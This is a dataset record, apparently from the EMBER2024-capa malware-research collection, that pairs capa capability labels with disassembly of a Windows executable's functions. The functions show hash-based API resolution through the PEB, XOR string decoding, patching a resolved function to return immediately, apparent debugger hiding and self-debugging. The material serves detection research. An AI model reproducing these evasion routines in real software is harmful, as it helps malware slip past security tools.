joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001a4a0
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get process filename
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1400b33b8]
test rax, rax
jne 0x14001a67c
mov rax, qword gs:[0x60]
xor r11d, r11d
mov qword [rsp + 0x48], rbp
mov r9d, 0x60526faf
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x30], rdi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x20], r15
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rdi, rbp
mov eax, dword [rdi + 0x58]
sub ax, 8
test r11d, r11d
je 0x14001a53d
mov rcx, qword [rdi + 0x60]
mov edx, 0x6adac03f
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14001a534
nop word [rax + rax]
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14001a520
cmp edx, r11d
jne 0x14001a63f
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r10
cmp rbx, r10
je 0x14001a63f
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14001a63f
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x6adac03f
lea rax, [r14 + r8*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14001a5b7
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14001a5a0
cmp edx, r9d
je 0x14001a5c3
test r8d, r8d
jne 0x14001a580
jmp 0x14001a63f
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
cmp rax, rbx
jbe 0x14001a657
lea rcx, [r15 + rbx]
cmp rax, rcx
jae 0x14001a657
movzx ecx, byte [rax]
mov r11d, 0x6adac03f
mov r9d, r11d
cmp cl, 0x2e
je 0x14001a618
nop dword [rax]
movsx ecx, cl
inc rax
xor ecx, r11d
imul r11d, ecx, 0x1000193
movzx ecx, byte [rax]
cmp cl, 0x2e
jne 0x14001a600
movzx ecx, byte [rax + 1]
inc rax
test cl, cl
je 0x14001a63b
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx ecx, byte [rax]
test cl, cl
jne 0x14001a623
mov rdi, qword [rbp]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rbp
je 0x14001a655
cmp qword [rax + 0x30], 0
jne 0x14001a4f2
xor eax, eax
mov r15, qword [rsp + 0x20]
mov r14, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov qword [0x1400b33b8], rax
add rsp, 0x38
jmp rax
Function at 0x14001daa0
Capabilities:
Access peb ldr_data
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x1400b33e0]
test rax, rax
jne 0x14001dcd6
xor ebx, ebx
mov dword [rsp + 0xb8], ebx
mov r11d, 0xf07090f9
mov dword [rsp + 0xbc], r11d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rdx, qword [rcx]
mov qword [rsp + 0x40], rdx
mov r15, rdx
mov qword [rsp + 0x48], rdx
mov rax, rdx
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x50], ax
test ebx, ebx
je 0x14001db55
mov rcx, qword [rsp + 0x58]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov r8d, 0x56416cb9
mov qword [rsp + 0x30], rcx
cmp rcx, r9
je 0x14001db4c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
jmp 0x14001db2f
cmp r8d, ebx
jne 0x14001dcaf
mov r10, qword [rdx + 0x30]
mov qword [rsp + 0x60], r10
movsxd rax, dword [r10 + 0x3c]
mov r14, qword [rax + r10 + 0x88]
mov qword [rsp + 0xc0], r14
mov r8d, r14d
add r8, r10
mov qword [rsp + 0x68], r8
shr r14, 0x20
mov dword [rsp + 0x70], r14d
cmp r8, r10
je 0x14001dcaf
mov edi, dword [r8 + 0x18]
mov dword [rsp + 0x20], edi
nop word [rax + rax]
mov eax, edi
dec edi
mov dword [rsp + 0x20], edi
test eax, eax
je 0x14001dcaf
mov ecx, dword [r8 + 0x20]
add rcx, r10
mov eax, dword [rcx + rdi*4]
add rax, r10
mov qword [rsp + 0x38], rax
mov r9d, 0x56416cb9
nop dword [rax + rax]
movsx ecx, byte [rax]
inc rax
mov qword [rsp + 0x38], rax
test cl, cl
jne 0x14001dca0
cmp r9d, r11d
jne 0x14001dc9b
mov ecx, dword [r8 + 0x1c]
add rcx, r10
mov eax, dword [r8 + 0x24]
add rax, r10
movzx eax, word [rax + rdi*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
cmp rdx, r8
jbe 0x14001dccc
lea rax, [r8 + r14]
cmp rdx, rax
jae 0x14001dccc
mov dword [rsp + 0xb0], 0x56416cb9
mov ecx, 0x56416cb9
mov dword [rsp + 0xb4], ecx
mov r8d, ecx
mov qword [rsp + 0x28], rdx
movsx eax, byte [rdx]
cmp al, 0x2e
je 0x14001dc57
xor eax, r8d
imul r8d, eax, 0x1000193
mov dword [rsp + 0xb0], r8d
inc rdx
jmp 0x14001dc34
inc rdx
mov qword [rsp + 0x28], rdx
movsx eax, byte [rdx]
test al, al
je 0x14001dc77
xor eax, ecx
imul ecx, eax, 0x1000193
mov dword [rsp + 0xb4], ecx
jmp 0x14001dc57
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xb8], rax
mov rdx, qword [r15]
mov qword [rsp + 0x40], rdx
mov r11d, dword [rsp + 0xbc]
mov ebx, eax
jmp 0x14001dcaf
jmp 0x14001dba0
xor ecx, r9d
imul r9d, ecx, 0x1000193
jmp 0x14001dbd0
mov rdx, qword [rdx]
mov rax, rdx
mov qword [rsp + 0x40], rdx
cmp rdx, r15
je 0x14001dcca
cmp qword [rdx + 0x30], 0
jne 0x14001db00
xor edx, edx
mov qword [0x1400b33e0], rdx
mov rax, rdx
mov ecx, 0x13333337
call rax
jmp 0x14001dce1
add rsp, 0x80
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x14001e370
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [0x1400b2080]
xor rax, rsp
mov qword [rbp - 0x18], rax
cmp byte [0x1400a2f41], 0
movsd xmm0, qword [0x1400a2f38]
movzx eax, word [0x1400a2f40]
movsd qword [rbp - 0x40], xmm0
mov word [rbp - 0x38], ax
je 0x14001e3d0
xor byte [rbp - 0x3f], 0x35
xor byte [rbp - 0x3e], 0x36
xor byte [rbp - 0x3d], 0x37
xor byte [rbp - 0x3c], 0x38
xor byte [rbp - 0x3b], 0x39
xor byte [rbp - 0x3a], 0x3a
xor byte [rbp - 0x39], 0x3b
xor byte [rbp - 0x38], 0x3c
xor byte [rbp - 0x37], 0x3d
mov byte [rbp - 0x40], WSASetLastError
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9, rax
test rax, rax
je 0x14001e5b4
cmp byte [0x1400a3545], 0
mov ecx, dword [0x1400a3540]
movsd xmm0, qword [str.pWQuJ_PlRWQ4A]
mov dword [rbp - 0x28], ecx
movzx ecx, word [0x1400a3544]
mov word [rbp - 0x24], cx
mov qword [rsp + 0x70], rbx
movsd qword [rbp - 0x30], xmm0
je 0x14001e57d
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001e538
movdqa xmm2, xmmword [0x1400a4080]
mov eax, 4
movdqa xmm4, xmmword [0x1400a4150]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a4090]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [rsp + 0x50], xmm6
movd xmm6, eax
mov eax, Ordinal_33
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movd xmm5, eax
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a40b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str.pWQuJ_PlRWQ4A]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400a4100]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400a4130]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp - 0x30], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movaps xmm6, xmmword [rsp + 0x50]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a40b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp - 0x2c]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a4100]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400a4130]
xorps xmm2, xmm0
movd dword [rbp - 0x2c], xmm2
movsxd rax, ecx
lea r8, [rbp - 0x30]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0xe
jl 0x14001e550
lea rdx, [rbp - 0x30]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14001e5af
mov edx, 1
lea r9, [rbp - 0x20]
mov rcx, rax
lea r8d, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14001e5af
mov byte [rbx], 0xc3
mov rbx, qword [rsp + 0x70]
mov rcx, qword [rbp - 0x18]
xor rcx, rsp
call fcn.14008e190
add rsp, 0x60
pop rbp
ret
Function at 0x14001ec70
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x80
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x1400a3e88]
xor edi, edi
cmp dword [reloc.WS2_32.dll_accept], 2
mov r9, rax
movups xmm0, xmmword [str.zAeRLpT_SOS4___]
mov dword [rsp + 0x40], ecx
movzx ecx, word [0x1400a3e8c]
mov word [rsp + 0x44], cx
movzx ecx, byte [0x1400a3e8e]
mov byte [rsp + 0x46], cl
mov ecx, edi
movups xmmword [rsp + 0x30], xmm0
jl 0x14001ee32
movdqa xmm0, xmmword [0x1400a4130]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x1400a4080]
mov eax, 4
movdqa xmm4, xmmword [0x1400a4150]
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm7
movdqa xmm7, xmmword [0x1400a40b0]
movd xmm6, eax
mov eax, Ordinal_33
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x50], xmm8
movd xmm8, eax
nop
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400a4100]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a4100]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x14001ed20
movaps xmm8, xmmword [rsp + 0x50]
movaps xmm7, xmmword [rsp + 0x60]
movaps xmm6, xmmword [rsp + 0x70]
cmp ecx, 0x17
jge 0x14001ee6d
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, cl
inc ecx
sub al, dl
add al, 0x34
xor byte [r8 - 1], al
cmp ecx, 0x17
jl 0x14001ee40
lea rdx, [rsp + 0x30]
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 0x11]
call rbx
mov rbx, qword [rsp + 0x90]
test eax, eax
setne dil
mov eax, edi
add rsp, 0x80
pop rdi
ret
Function at 0x14001eeb0
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
sub rsp, 0x1a8
mov rax, qword [0x1400b2080]
xor rax, rsp
mov qword [rsp + 0x190], rax
xorps xmm1, xmm1
lea rcx, [rsp + 0xe0]
xor eax, eax
xorps xmm0, xmm0
xor edx, edx
mov qword [rsp + 0x60], rax
mov r8d, 0xb0
mov qword [rsp + 0xd0], rax
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x70], xmm1
movups xmmword [rsp + 0x80], xmm1
movups xmmword [rsp + 0x90], xmm1
movups xmmword [rsp + 0xa0], xmm1
movups xmmword [rsp + 0xb0], xmm1
movups xmmword [rsp + 0xc0], xmm1
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, dword [rsp + 0x64]
mov r8d, 0x10002
mov ecx, dword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
mov edx, 0xffffffff
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.14008e190
add rsp, 0x1a8
ret
Function at 0x14002bc50
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 7], sil
je 0x14002bc84
mov eax, esi
lea ecx, [rax - 0x35]
xor byte [r8 + rax], cl
inc rax
cmp rax, 6
jb 0x14002bc70
mov byte [r8 + 7], sil
add r8, 6
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140027cb0
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14002bca9
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140038c80
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14002bd23
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002bd1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002bd1e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008e43c
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x14002bd30
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 9], sil
je 0x14002bd64
mov eax, esi
lea ecx, [rax - 0x35]
xor byte [r8 + rax], cl
inc rax
cmp rax, 8
jb 0x14002bd50
mov byte [r8 + 9], sil
add r8, 8
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140027cb0
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14002bd89
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140038c80
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14002be03
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002bdfe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002bdfe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008e43c
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x14002be10
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xa], sil
je 0x14002be44
mov eax, esi
lea ecx, [rax - 0x35]
xor byte [r8 + rax], cl
inc rax
cmp rax, 9
jb 0x14002be30
mov byte [r8 + 0xa], sil
add r8, 9
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140027cb0
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14002be69
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140038c80
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14002bee3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002bede
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002bede
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008e43c
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x14002bef0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xc], sil
je 0x14002bf24
mov eax, esi
lea ecx, [rax - 0x35]
xor byte [r8 + rax], cl
inc rax
cmp rax, 0xb
jb 0x14002bf10
mov byte [r8 + 0xc], sil
add r8, 0xb
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.140027cb0
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x14002bf49
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140038c80
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14002bfc3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002bfbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002bfbe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008e43c
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x140032a60
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 9], al
je 0x140032a83
lea edx, [rax - 0x35]
xor byte [rax + rcx], dl
inc rax
cmp rax, 8
jb 0x140032a70
mov byte [rcx + 9], 0
lea r8, [rcx + 8]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140027cb0
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x140032aa0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x30
xor eax, eax
mov rbx, rdx
cmp byte [rcx + 0x10], al
je 0x140032ac3
lea edx, [rax - 0x35]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0xf
jb 0x140032ab0
mov byte [rcx + 0x10], 0
lea r8, [rcx + 0xf]
mov rdx, rcx
mov rcx, rbx
lea r9, [rsp + 0x48]
call fcn.140027cb0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x140033ba0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x140033bc3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x35]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x140033bb0
mov byte [rcx + 5], 0
mov rax, rcx
ret

Function at 0x140033bd0
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x136], 0
je 0x140033bf8
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x35]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x135
jb 0x140033be0
mov byte [rcx + 0x136], 0
mov rax, rcx
ret

Function at 0x140033c00
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x44], 0
je 0x140033c23
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x35]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x43
jb 0x140033c10
mov byte [rcx + 0x44], 0
mov rax, rcx
ret

Function at 0x140033c30
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x47], 0
je 0x140033c53
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x35]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x46
jb 0x140033c40
mov byte [rcx + 0x47], 0
mov rax, rcx
ret

Function at 0x140033c60
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
sub rsp, 0xa8
cmp byte [0x1400b2ae0], 0
jne 0x140033d27
movdqa xmm0, xmmword [0x1400942c0]
xor edx, edx
movdqa xmm1, xmmword [0x140094060]
movdqa xmmword [rax - 0x68], xmm0
movdqa xmm0, xmmword [0x140094230]
movdqa xmmword [rax - 0x58], xmm1
movdqa xmm1, xmmword [0x140094030]
movdqa xmmword [rax - 0x48], xmm0
movdqa xmm0, xmmword [0x140094010]
movdqa xmmword [rax - 0x38], xmm1
movdqa xmmword [rax - 0x28], xmm0
mov dword [rax - 0x18], 0x1006f75
mov eax, edx
nop dword [rax]
nop word [rax + rax]
lea ecx, [rax - 0x35]
xor byte [rsp + rax + 0x40], cl
inc rax
cmp rax, 0x52
jb 0x140033cd0
xorps xmm0, xmm0
mov byte [rsp + 0x93], dl
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rdx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rdx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dl
jne 0x140033d05
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.140008f80
lea rcx, [rsp + 0x20]
call fcn.1400364f0
add rsp, 0xa8
ret
Function at 0x140034430
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
mov r10, rcx
mov ecx, r9d
test r8, r8
je 0x140034517
sub r10, rdx
cmp r8, 8
jb 0x1400344f3
mov rax, r8
lea r9, [rdx + 4]
and rax, 0xfffffffffffffff8
xorps xmm3, xmm3
xorps xmm2, xmm2
movd xmm1, dword [r10 + r9 - 4]
add rcx, 8
movd xmm0, dword [r9 - 4]
lea r9, [r9 + 8]
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
punpcklbw xmm0, xmm0
psrad xmm1, 0x18
punpcklwd xmm0, xmm0
psrad xmm0, 0x18
pxor xmm1, xmm0
movd xmm0, dword [r9 - 8]
punpcklbw xmm0, xmm0
por xmm3, xmm1
movd xmm1, dword [r10 + r9 - 8]
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
punpcklwd xmm0, xmm0
psrad xmm1, 0x18
psrad xmm0, 0x18
pxor xmm1, xmm0
por xmm2, xmm1
cmp rcx, rax
jb 0x140034460
por xmm2, xmm3
movdqa xmm0, xmm2
psrldq xmm0, 8
por xmm2, xmm0
movdqa xmm0, xmm2
psrldq xmm0, 4
por xmm2, xmm0
movd r9d, xmm2
cmp rcx, r8
jae 0x140034517
lea rax, [rcx + rdx]
sub r8, rcx
nop word [rax + rax]
movsx edx, byte [r10 + rax]
movsx ecx, byte [rax]
lea rax, [rax + 1]
xor edx, ecx
or r9d, edx
sub r8, 1
jne 0x140034500
test r9d, r9d
sete al
ret